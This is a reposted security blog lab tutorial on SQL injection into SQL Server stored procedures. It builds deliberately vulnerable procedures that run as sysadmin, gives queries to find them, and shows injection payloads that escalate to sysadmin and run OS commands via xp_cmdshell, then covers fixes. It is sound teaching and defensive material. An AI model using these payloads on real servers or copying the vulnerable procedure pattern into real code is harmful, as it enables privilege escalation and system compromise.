Hacking SQL Server Stored Procedures – Part 3: SQL Injection

728x90

If you read the first two blogs in this series then you already know that SQL Server roles and privileges can be misconfigured in ways that allow users to escalate their privileges to a sysadmin (database administrator). Even when those roles and privileges are configured correctly, sometimes stored procedures can still be a threat. In this blog I’ve covered how SQL injection can be identified and exploited to escalate privileges in SQL Server stored procedures when they are configured to execute with higher privileges using the WITH EXECUTE AS clause or certificate signing. I’ve also provided a lab setup guide for those of you who want to try this at home. To my knowledge this work with SQL Server 2005 to 2014. This should be interesting to penetration testers, application developers, and dev-ops. Feel free to jump down to the attack section if you’re not big on labs.

Below is a summary of the topics being covered:

SQL Injection Primer

If you’re not familiar with SQL injection I thought it would make sense to provide a little definition. OWASP defines SQL injection as an “…attack that consists of insertion or “injection” of a SQL query via the input data from the client to the application”. This holds true when attacking stored procedures in SQL Server as well, but with at least one noticeable difference. To my knowledge injection into stored procedures is only possible when dynamic SQL is being used in the procedure. Luckily (for attackers) it’s actually pretty common for developers to use dynamic SQL in procedures, because it allows them to create and execute flexible queries on the fly. It only becomes a problem when variables can be controlled by an attacker and they are not parameterized. That issue is amplified when procedures are configured to run as a sysadmin login, because they can be used by attackers to escalate their privilege to a sysadmin as well.

For more information on SQL injection take a look at https://www.owasp.org/index.php/SQL_Injection. Also, here are some of Microsoft’s recommendations for safe dynamic SQL http://msdn.microsoft.com/en-us/library/bb669091(v=vs.110).aspx.

Setting up the Lab Environment

Below I’ve provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenarios covered in this blog/lab.

Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
Install SQL Server by following the wizard, but make sure to choose mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
Log into the SQL Server with the SA account setup during installation using the SQL Server Management Studio application.

Press the “New Query” button and use the TSQL below to create a least privilege login.

1
2
3
4
5
6
7
8
9
10
11
12
13
 
-- Select database
USE master
GO
 
-- Create login
CREATE LOGIN MyUser WITH PASSWORD = 'MyPassword!';
GO
 
-- Set login’s default database
ALTER LOGIN [MyUser] with default_database = [master];
GO
 

Set the “master” database as trustworthy. Configuring a database as trusted using the “is_trustworthy_on” flag allows certain objects within the database to access external resources like network shares, mail functions, and objects in other databases that are on the same SQL Server instance. This flag is set to disabled by default (except MSDB), but some DBAs still choose to enable it for a number of reasons. For the purpose of this lab, we will be enabling it so we can execute operating system commands via xp_cmdshell from within stored procedures setup using the WITH EXECUTE AS OWNER (sa in this case). However, it should be noted the setting also affects CLR-based stored procedures, UDFs, and Triggers. For more information on the “is_trustworthy_on” flag you can take a look at http://support.microsoft.com/kb/2183687.First, configure the “MASTER” database as trustworthy.
1
2
3

ALTER DATABASE master SET TRUSTWORTHY ON

Then verify that the configuration was set with the following query.
1
2
3
4
5
6

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

Below is a screenshot of the expected result.
Use the TSQL below to enable xp_cmdshell. Enabling this now will simplify the labs later, but it could be enabled by an attacker even if we didn’t enable it.
1
2
3
4
5
6
7
8
9
10
11

-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

Creating a Vulnerable Stored Procedure using WITH EXECUTE AS

In this section we’ll create the first vulnerable stored procedure. This one will use the WITH EXECUTE AS clause to run as a sysadmin. It will also be configured to use dynamic SQL that is vulnerable to SQL injection. Follow the instructions below to get it setup.

Log into the SQL Server with the “sa” login and create the vulnerable stored procedure using the TSQL below. The stored procedure will return a list of database names that match the search string passed to it, as well as the “tempdb” database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
-- Select the target database
USE MASTER;
GO
 
-- Create procedure
CREATE PROCEDURE sp_sqli
@DbName varchar(max)
WITH EXECUTE AS OWNER
AS
BEGIN
Declare @query as varchar(max)
SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
EXECUTE(@query)
END
GO
 
-- Allow members of PUBLIC to execute it
GRANT EXECUTE ON sp_sqli to PUBLIC
 

Run the query below to test the sp_sqli procedure. It should return the “master” and “tempdb” databases.
1
2
3
4
5
6
7
8

-- Select the target database
USE MASTER;
GO

-- Test stored procedure
EXEC master..sp_sqli 'mast'

Finding Potentially Vulnerable Stores Procedures using WITH EXECUTE AS

In this section I’ve provided a basic process for finding custom stored procedures that use the WITH EXECUTE AS clause and may be vulnerable to SQL injection. Please be aware that not all logins/database users will have the privileges required to view the source of all stored procedures. However, from a blue team perspective this is a nice way to quickly identify low hanging fruit. For the sake of simplicity just run these queries using the “sa” login.

Finding Databases that are Trusted and Owned by a Sysadmin
You should really review all of the databases, but databases owned by sysadmins are a good place to start if you’re tight on time, because any procedures that use the WITH EXECUTE AS OWNER clause will automatically be running as a sysadmin. In the example below you should only see the “MASTER” database returned by the query.

1
2
3
4
5
6
7
8
9
 
SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'
 

Finding Custom Stored Procedures
The query below will return a list of functions and stored procedures for the target database. In this case, “MASTER” is being used, but in the real world you’ll want to swap it out for your target database name. In this lab you should see “sp_sqli” returned by the query.
1
2
3
4
5
6

-- Select stored procedures from master database
SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES
ORDER BY ROUTINE_NAME

Finding Custom Stored Procedures using WITH EXECUTE AS
By default stored procedures are configured to run as the caller. In other words, the login used to execute it. However, stored procedures can also be created to execute with another login’s privileges. Below are the five options, but we will be focusing on OWNER in our attack later. For more information visit http://msdn.microsoft.com/en-us/library/ms188354.aspx.

WITH EXECUTE AS OWNER: Meaning the owner of the procedure
WITH EXECUTE AS SELF: Meaning the creator/modifier of the procedure
WITH EXECUTE AS ‘USERNAME': Meaning a specific database user
WITH EXECUTE AS LOGIN: Meaning a specific login
WITH EXECUTE AS CALLER: Meaning the database user executing the procedure

Below is a query that should only return stored procedures using the WITH EXECUTE AS clause. You should see sp_sqli in the list.

1
2
3
4
5
6
7
 
-- Stored procedures that use WITH EXECUTE AS clause
SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION
LIKE '%WITH EXECUTE AS%'
ORDER BY ROUTINE_NAME
 

Finding Stored Procedures that use the WITH EXECUTE AS and Dynamic SQL
The query below will go a little further than our last step. It will actually locate stored procedures in the “master” database using dynamic SQL that are configured to use the WITH EXECUTE AS clause. You should only see “sp_sqli” in the list again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 
-- Stored procedures with Dynamic SQL and EXECUTE AS
SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES
WHERE ROUTINE_DEFINITION like '%WITH EXECUTE AS%' AND
(ROUTINE_DEFINITION like '%sp_executesql%' OR
ROUTINE_DEFINITION like '%sp_sqlexec%' OR
ROUTINE_DEFINITION like '%exec @%' OR
ROUTINE_DEFINITION like '%exec (%' OR
ROUTINE_DEFINITION like '%exec(%' OR
ROUTINE_DEFINITION like '%execute @%' OR
ROUTINE_DEFINITION like '%execute (%' OR
ROUTINE_DEFINITION like '%execute(%' OR
ROUTINE_DEFINITION like '%''''''+%' OR
ROUTINE_DEFINITION like '%'''''' +%')
ORDER BY ROUTINE_NAME
 

It might be worth noting that some applications may have thousands of custom stored procedures. So if you don’t feel like taxing a production server you can simply export them and grep for the same keywords you see in the query. SQL Server Management Studio will allow you to save all results as an excel file, but if you’re looking for a more scriptable option you can use the little PowerShell script I wrote for exporting stored procedure code from all accessible databases. The script can be downloaded from:https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Escalate-SpSource.psm1

Below is a basic command example.

1
2
3
4
 
PS C:\temp> Import-Module .\Get-SqlServer-Escalate-SpSource.psm1 -Force
PS C:\temp> Get-SqlServer-Escalate-SpSource -SQLServerInstance 172.16.54.229\standard -SqlUser sa -SqlPass MyPassword!
 

Below is a sample screen shot of expected results. Note: The script doesn’t search the TempDB, MSDB, or Model database for custom stored procedures.

After the script is run it exports all of the stored procedures into a csv file and .sql files.

Creating a Vulnerable Stored Procedure Signed with a Certificate

Another way to provide stored procedures with privileges to access objects external to the current database is by signing them with a certificate. Some of the advantages include allowing a least privilege login to execute the stored procedure with elevated privileges WITHOUT having to:

Assign logins excessive privileges directly to logins/roles. For example, db_owner or sysadmin.
Assign logins excessive IMPERSONATE privileges used to impersonate users and logins on demand with the EXECUTE AS command.
Configure the stored procedure to run as another login using the WITH EXECUTE AS clause.
Flag the database as trustworthy, which could weaken other controls.

All those things are great and give me a warm fuzzy feeling. However, at the end of the day if a signed procedure uses variables that aren’t parametrized and the attacker has control over at least one of them then it’s still likely to be vulnerable to SQL injection.

Ok, enough of my yammering, let’s build a vulnerable procedure signed with a certificate using the instructions below.

Create a new stored procedure in the current database named “sp_sqli2”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 
-- Set target database
USE MASTER;
GO
 
-- Create procedure
CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
EXECUTE(@query)
END
GO
 

Create a master key for the database.
1
2
3
4
5

-- Create a master key for the database
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'SuperSecretPasswordHere!';
GO
Create certificate for the “sp_sqli2” procedure. This can be configured with a password, but for the sake of simplicity I left it out.
1
2
3
4
5
6
7

-- Create certificate for the sp_sqli2 procedure
CREATE CERTIFICATE sp_sqli2_cert
WITH SUBJECT = 'This should be used to sign the sp_sqli2',
EXPIRY_DATE = '2050-10-20';
GO
Create a new login named “sp_sqli2_login” from the “sp_sqli2_cert” certificate. No password is defined for the login for the sake of simplicity, but in the real world one should be set.
1
2
3
4
5

-- Create cert login
CREATE LOGIN sp_sqli2_login
FROM CERTIFICATE sp_sqli2_cert
Sign the “sp_sqli2” stored procedure with the new “sp_sqli2_cert” certificate. This can use a password, but for the sake of simplicity I left it out.
1
2
3
4
5
6

-- Add cert to stored procedure
ADD SIGNATURE to sp_sqli2
BY CERTIFICATE sp_sqli2_cert;
Go
Add the “sp_sqli2_login” login to the sysadmins role.
1
2
3
4
5

-- Add sp_sqli2_login to sysadmin fixed server role
EXEC master..sp_addsrvrolemember @loginame = N'sp_sqli2_login', @rolename = N'sysadmin'
GO
Allow members of the PUBLIC role to execute it.
1
2
3

GRANT EXECUTE ON sp_sqli2 to PUBLIC

For more information on signing procedures with certificates check out the Microsoft site athttp://msdn.microsoft.com/en-us/library/bb283630.aspx.

Finding Potentially Vulnerable Stored Procedures Signed with a Certificate

In this section I’ll provide a basic process for finding procedures signed with a certificate that may be vulnerable to SQL injection. Please note that not all logins/database users will have the privileges required to view the source of all stored procedures. However, from a blue team perspective these are a nice way to quickly identify low hanging fruit. For the sake of simplicity just run these queries using the “sa” login.

If you are interested in taking a quick look at which logins were created from a certificate then you can use the query below.
1
2
3

select * from sys.server_principals where type = 'C'

It should return something like the results in the screenshot below.

Now let’s try finding procedures signed with a certificate for the current database that also have logins that were generated from them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
-- Select target database
USE MASTER
GO
 
-- Get procedure location, name, source, cert name, and cert login - 2k5 only?
SELECT
spr.ROUTINE_CATALOG as DB_NAME,
spr.SPECIFIC_SCHEMA as SCHEMA_NAME,
spr.ROUTINE_NAME as SP_NAME,
spr.ROUTINE_DEFINITION as SP_CODE,
CASE cp.crypt_type
when 'SPVC' then cer.name
when 'CPVC' then Cer.name
when 'SPVA' then ak.name
when 'CPVA' then ak.name
END as CERT_NAME,
sp.name as CERT_LOGIN,
sp.sid as CERT_SID
FROM sys.crypt_properties cp
JOIN sys.objects o ON cp.major_id = o.object_id
LEFT JOIN sys.certificates cer ON cp.thumbprint = cer.thumbprint
LEFT JOIN sys.asymmetric_keys ak ON cp.thumbprint = ak.thumbprint
LEFT JOIN INFORMATION_SCHEMA.ROUTINES spr on spr.ROUTINE_NAME = o.name
LEFT JOIN sys.server_principals sp on sp.sid = cer.sid
WHERE o.type_desc = 'SQL_STORED_PROCEDURE'
ORDER BY CERT_NAME
 

The expected results should include the “sp_sqli2” stored procedure and look something like the screenshot below.

To take it a little further now we can expand the query and search for stored procedures that also appear to contain dynamic SQL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 
-- Get procedure location, name, source, cert name, and cert login, with dynamic SQL
SELECT spr.ROUTINE_CATALOG as DB_NAME,
spr.SPECIFIC_SCHEMA as SCHEMA_NAME,
spr.ROUTINE_NAME as SP_NAME,
spr.ROUTINE_DEFINITION as SP_CODE,
CASE cp.crypt_type
when 'SPVC' then cer.name
when 'CPVC' then Cer.name
when 'SPVA' then ak.name
when 'CPVA' then ak.name
END as CERT_NAME,
sp.name as CERT_LOGIN,
sp.sid as CERT_SID
FROM sys.crypt_properties cp
JOIN sys.objects o ON cp.major_id = o.object_id
LEFT JOIN sys.certificates cer ON cp.thumbprint = cer.thumbprint
LEFT JOIN sys.asymmetric_keys ak ON cp.thumbprint = ak.thumbprint
LEFT JOIN INFORMATION_SCHEMA.ROUTINES spr on spr.ROUTINE_NAME = o.name
LEFT JOIN sys.server_principals sp on sp.sid = cer.sid
WHERE o.type_desc = 'SQL_STORED_PROCEDURE'AND
(ROUTINE_DEFINITION like '%sp_executesql%' OR
ROUTINE_DEFINITION like '%sp_sqlexec%' OR
ROUTINE_DEFINITION like '%exec @%' OR
ROUTINE_DEFINITION like '%exec (%' OR
ROUTINE_DEFINITION like '%exec(%' OR
ROUTINE_DEFINITION like '%execute @%' OR
ROUTINE_DEFINITION like '%execute (%' OR
ROUTINE_DEFINITION like '%execute(%' OR
ROUTINE_DEFINITION like '%''''''+%' OR
ROUTINE_DEFINITION like '%'''''' +%')
ORDER BY CERT_NAME,ROUTINE_NAME
 

The expected result is shown in the screenshot below.

Attacking the Stored Procedures

Below I’ve provided some basic exercises to get you familiar with the SQL injection into stored procedures.

Before we start

The goal of this lab is to escalate our privileges in SQL Server by exploiting stored procedures that use the WITH EXECUTE AS OWNER clause and certificate signatures. However, I also want show how the trustworthy flag affects our results. So for now let’s turn it off. Make sure to disable it with the “sa” login.

1
2
3
 
ALTER DATABASE MASTER SET TRUSTWORTHY OFF
 

Note: Make sure to login with the “MyUser” login for all of the labs below.

Test the Basic Functionality
Run the query below to get the expected output of the “sp_sqli” and “sp_sqli2” stored procedures. This is just to make sure everything is working.
1
2
3
4

EXEC MASTER.dbo.sp_sqli 'master'
EXEC MASTER.dbo.sp_sqli2 'master'

You should see the same results for both stored procedures. Below is a screenshot of the expected result.
Injection 1: Commenting
The injection below should comment out the “OR” and only return the “master” database. This is a basic example of SQL injection.
1
2
3
4

EXEC MASTER.dbo.sp_sqli 'master''--'
EXEC MASTER.dbo.sp_sqli2 'master''--'

You should see the same results for both of the stored procedures. Below is a screenshot of the expected result.

Injection 2: Verifying execution as another user
The injection below will return the user context running outside and inside of the stored procedures.

1
2
3
4
5
6
7
8
9
10
 
-- Show current login outside of sp
SELECT 'OUTSIDE SP USER: '+SYSTEM_USER
 
-- Show login impersonation inside sp_sqli
EXEC MASTER.dbo.sp_sqli 'master'';SELECT ''INSIDE SP USER: ''+SYSTEM_USER as executesp--'
 
-- Show login impersonation inside sp_sqli2
EXEC MASTER.dbo.sp_sqli2 'master'';SELECT ''INSIDE SP USER: ''+SYSTEM_USER as certsp--'
 

Below is a screenshot of the expected result.

“MyUser” should be returned outside the stored procedure. You should also notice that inside the “sp_sqli” procedure (WITH EXECUTE AS OWNER) is running as the “sa” login. However, the “sp_sqli2” procedure (signed) still appears to be running as “MyUser”. As we’ll see in a moment this is not always reflective of the privilege we actually have inside the stored procedures.

Injection 3: Verify sysadmin privileges
The injection below will return the sysadmin status outside and inside of the stored procedures. 1 means the current login has sysadmin privileges, and a 0 means it doesn’t.

1
2
3
4
5
6
7
8
9
10
 
-- Check if current user is a sysadmin outside sp
SELECT is_srvrolemember('sysadmin') as priv_outside;
 
-- Check if EXCUTE AS user is a sysadmin inside sp_sqli
EXEC MASTER.dbo.sp_sqli 'master'';SELECT is_srvrolemember(''sysadmin'') as priv_execsp--';
 
-- Check if EXCUTE AS user is a sysadmin inside sp_sqli2
EXEC MASTER.dbo.sp_sqli2 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--';
 

Below is a screenshot of the expected result.

You should notice that the “sp_sqli” procedure returns a 0 even though it’s running as the “sa” login. That’s because the “master” is not set as trustworthy. Conversely, we can see that the signed procedure “sp_sqli2” can execute with elevated privileges even though the trustworthy flag has not been set in the “master” database.

Injection 4: OS command execution
First let’s verify that we can simply execute the “xp_cmdshell” procedure as the current user “MyUser”.
1
2
3
4

-- Attempt to execute xp_cmdshell outside the sp
EXEC master..xp_cmdshell 'whoami';

Below is a screenshot of the expected result.
You should be see some type of access denied error. Now let’s try that inside the “sp_sqli” procedure.
1
2
3
4

-- Attempt to execute xp_cmdshell inside the sp_sqli
EXEC MASTER.dbo.sp_sqli 'master'';EXEC master..xp_cmdshell ''whoami''';

Below is a screen shot of the expected result.
Once again we are getting access denied, because the trustworthy flag has not been set on the “master” database. Finally, let’s try the same injection on the signed procedure “sp_sqli2”.
1
2
3
4

-- Attempt to execute xp_cmdshell inside the sp_sqli2
EXEC MASTER.dbo.sp_sqli2 'master'';EXEC master..xp_cmdshell ''whoami''--';

Below is a screenshot of the expected output.
This time it works! I think the conclusion here is that although signing is the best option overall, it still comes with its own risks, because it doesn’t require the trustworthy flag to be set.
Injection 5: OS command execution in a trustworthy database
Ok, let’s sign in as “sa” and set the “MASTER “database to trustworthy again.
1
2
3

ALTER DATABASE MASTER SET TRUSTWORTHY ON

Now let’s try that command execution inside the “sp_sqli” procedure again. This time it should work!
1
2
3
4

-- Attempt to execute xp_cmdshell inside the sp
EXEC MASTER.dbo.sp_sqli 'master'';EXEC master..xp_cmdshell ''whoami''--';

Below is a screen shot of the expected result.
Tada! As you can see when you’re trying to escalate privileges using a stored procedure that uses the “WITH EXECUTE AS” clause the trustworthy setting makes a big difference.

Fixing the Stored Procedures

Microsoft has some pretty good recommendations to help prevent these types of attacks so I recommend checking out their web site for more information. Naturally, the fixes will vary depending on the environment, application, and use cases, but below are a few options to get you started.

Use parameterized queries in stored procedures to help prevent SQL injection. Below is an example of how to fix the first stored procedure from the lab. Removals in read, and additions are in black. Sign in as “sa” login to create it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 
-- Create procedure with sqli fix
CREATE PROCEDURE sp_sqli_fix
@DbName varchar(max)
WITH EXECUTE AS OWNER
AS
BEGIN
SELECT name FROM master..sysdatabases WHERE name = 'tempdb' OR name = @DbName;
END
GO
 
-- Allow members of PUBLIC to execute it
GRANT EXECUTE ON sp_sqli_fix to PUBLIC
 

Now when we attempt to inject SQL into the “sp_sqli_fix” procedure with the “MyUser” login the injection fails and only the tempdb is returned.

1
2
3
4
 
-- Check if EXCUTE AS user is a sysadmin inside sp_sqli_fix
EXEC MASTER.dbo.sp_sqli_fix 'master'';SELECT is_srvrolemember(''sysadmin'') as priv_execsp--';
 

Expect results shown in the screenshot below.

If it’s possible, set TRUSTWORTHY to off for the affected databases (excluding MSDB). This will help prevent the execution of xp_cmdshell and other bad things from within stored procedures that use WITH EXECUTE AS. It will also enforce a sandbox that only allows the stored procedure to access information associated with its own database.
1
2
3

ALTER DATABASE master SET TRUSTWORTHY OFF

Note: Be careful, there are some legit use cases for this and you could end up breaking things! So make sure you know what you’re doing.
Make sure custom stored procedures aren’t owned by sysadmins. For example, if the database owner of an application database is a sysadmin consider changing the owner to an account with less privilege so stored procedures using WITH EXECUTE AS OWNER will have less impact if other vulnerabilities exist.
Don’t assign the PUBLIC role with execute privileges on custom stored procedures. Only assign it to users or roles that require it. This will help prevent low privileged users from accessing potentially dangerous custom stored procedures.
1
2
3

REVOKE EXECUTE ON sp_sqli to PUBLIC
Use stored procedures signed with certificates instead of the WITH EXECUTE AS clause when possible. It’s worth it for all the reasons I provided when we created the “sp_sqli2” stored procedure earlier in this blog.

Wrap Up

The issues covered in this blog/lab were intended to help pentesters, developers, and dev-ops understand how a few common misconfigurations and coding mistakes can lead to the compromise of an entire SQL Server instance via stored procedure SQL injection. It’s worth noting that the same techniques can be used via SQL injection through a web or thick application. I just thought it would be easier to understand if it was exploited via a direct database connection. Hopefully the information is useful. Have fun with it, and don’t forget to hack responsibly.

PS: For those of you looking to reset your lab when you’re all done use the TSQL below:

1
2
3
4
5
6
7
8
9
10
 
USE MASTER
GO
drop proc sp_sqli
drop proc sp_sqli2
drop login sp_sqli2_login
drop login myuser
drop certificate sp_sqli2_cert
drop master key
 

Other Blogs in this Series

References

728x90

저작자표시 비영리 변경금지

'Security_Study' 카테고리의 다른 글

Session Hijacking Cheat Sheet (0)	2015.01.27
linux symbolic link attack tutorial (0)	2015.01.27
Hacking SQL Server Stored Procedures – Part 3: SQL Injection (0)	2015.01.27
Attacking Android Applications With Debuggers (0)	2015.01.27
Advisory: XXE Injection in Oracle Database (CVE-2014-6577) (0)	2015.01.27

일상 생활의 보안

Hacking SQL Server Stored Procedures – Part 3: SQL Injection

SQL Injection Primer

Setting up the Lab Environment

Creating a Vulnerable Stored Procedure using WITH EXECUTE AS

Finding Potentially Vulnerable Stores Procedures using WITH EXECUTE AS

Creating a Vulnerable Stored Procedure Signed with a Certificate

Finding Potentially Vulnerable Stored Procedures Signed with a Certificate

Attacking the Stored Procedures

Fixing the Stored Procedures

Wrap Up

Other Blogs in this Series

References

'Security_Study' 카테고리의 다른 글

티스토리툴바

Hacking SQL Server Stored Procedures – Part 3: SQL Injection

SQL Injection Primer

Setting up the Lab Environment

Creating a Vulnerable Stored Procedure using WITH EXECUTE AS

Finding Potentially Vulnerable Stores Procedures using WITH EXECUTE AS

Creating a Vulnerable Stored Procedure Signed with a Certificate

Finding Potentially Vulnerable Stored Procedures Signed with a Certificate

Attacking the Stored Procedures

Fixing the Stored Procedures

Wrap Up

Other Blogs in this Series

References

'Security_Study' 카테고리의 다른 글

'Security_Study' Related Articles

티스토리툴바